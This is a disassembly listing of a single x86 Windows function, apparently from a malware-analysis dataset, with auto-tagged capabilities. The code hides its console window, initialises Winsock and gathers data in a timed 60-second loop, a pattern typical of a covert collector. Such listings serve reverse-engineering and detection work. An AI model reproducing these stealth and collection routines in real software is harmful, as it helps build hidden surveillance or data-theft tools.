Function at 0x402970
Capabilities:
Hide graphical window
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406058
mov eax, dword fs:[0]
push eax
sub esp, 0x1e4
mov eax, dword [0x409040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
cmp eax, 0x94
jae 0x402bf4
mov byte [eax + 0x4094a0], 0
inc eax
cmp eax, 0x94
jl 0x4029a4
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [ebp - 0x1b8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.WSAStartup_failed_n
test eax, eax
jne 0x4029ee
mov edx, str.WSAStartup___OK_n
call fcn.00403370
nop dword [eax]
nop word [eax + eax]
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov dword [ebp - 4], 0
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
cdq
mov esi, eax
mov edi, edx
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
cdq
sub eax, esi
sbb edx, edi
test edx, edx
jg 0x402a86
jl 0x402a43
cmp eax, 0xea60
jae 0x402a86
mov dword [ebp - 0x1d8], 0xa
mov dword [ebp - 0x1d4], 0
lea ecx, [ebp - 0x28]
call fcn.00401f80
lea ecx, [ebp - 0x1d8]
call fcn.00403590
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_clock]
cdq
sub eax, esi
sbb edx, edi
mov dword [ebp - 0x1cc], edx
js 0x402a57
jg 0x402a86
cmp eax, 0xea60
jb 0x402a57
mov edx, dword [ebp - 0x18]
test edx, edx
je 0x402bae
lea ecx, [ebp - 0x1f0]
call fcn.004019c0
mov esi, eax
mov byte [ebp - 4], 1
cmp dword [esi + 0x14], 0xf
mov edi, dword [esi + 0x10]
jbe 0x402aad
mov esi, dword [esi]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
sub eax, ecx
mov dword [ebp - 0x1c0], ecx
cmp edi, eax
ja 0x402b53
cmp dword [ebp - 0x14], 0xf
lea eax, [edi + ecx]
lea edx, [ebp - 0x28]
mov dword [ebp - 0x18], eax
cmova edx, dword [ebp - 0x28]
lea eax, [edi + esi]
mov dword [ebp - 0x1c4], edx
mov dword [ebp - 0x1cc], eax
cmp eax, edx
jbe 0x402b0a
lea eax, [ecx + edx]
cmp esi, eax
ja 0x402b0a
cmp edx, esi
ja 0x402afe
mov dword [ebp - 0x1bc], 0
jmp 0x402b10
mov eax, edx
sub eax, esi
mov dword [ebp - 0x1bc], eax
jmp 0x402b10
mov dword [ebp - 0x1bc], edi
mov eax, dword [ebp - 0x1c0]
lea ecx, [edi + edx]
inc eax
push eax
push edx
push ecx
call sub.VCRUNTIME140.dll_memmove
push dword [ebp - 0x1bc]
push esi
mov esi, dword [ebp - 0x1c4]
push esi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [ebp - 0x1bc]
sub edi, eax
push edi
lea ecx, [esi + eax]
add eax, dword [ebp - 0x1cc]
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0x24
jmp 0x402b6c
push edi
push esi
push ecx
mov byte [ebp - 0x1c8], 0
lea ecx, [ebp - 0x28]
push dword [ebp - 0x1c8]
push edi
call fcn.00403830
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x1dc]
cmp ecx, 0xf
jbe 0x402ba6
mov edx, dword [ebp - 0x1f0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402b9c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402bee
push ecx
push edx
call fcn.00405160
add esp, 8
lea ecx, [ebp - 0x28]
call fcn.00402690
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x402a00
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402bdf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402bee
push ecx
push edx
call fcn.00405160
add esp, 8
jmp 0x402a00
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
call fcn.00404cef
int3